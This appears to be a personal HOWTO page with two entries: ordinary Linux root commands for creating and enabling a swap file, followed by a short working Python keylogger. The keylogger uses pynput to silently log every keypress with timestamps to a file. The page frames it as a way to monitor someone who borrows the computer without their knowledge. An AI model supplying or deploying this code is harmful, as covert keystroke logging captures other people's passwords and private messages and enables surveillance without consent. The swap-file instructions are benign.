HOWTOs

Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details.

These commands should all be performed with root permissions. The instructions below assume a destination path of /swapfile and file size of 1 GiB.

First, allocate space:

fallocate -l 1G /swapfile
# alternatively
dd if=/dev/zero of=/swapfile bs=1024 count=1048576

Ensure only root can read the swap file's contents:

chmod 600 /swapfile

Finally, activate and enable the swap file:

mkswap /swapfile
swapon /swapfile

To have the swap automount on boot, add the following to /etc/fstab:

/swapfile swap swap defaults 0 0

Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward.

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))
    
with Listener(on_press=on_press) as listener:
    listener.join()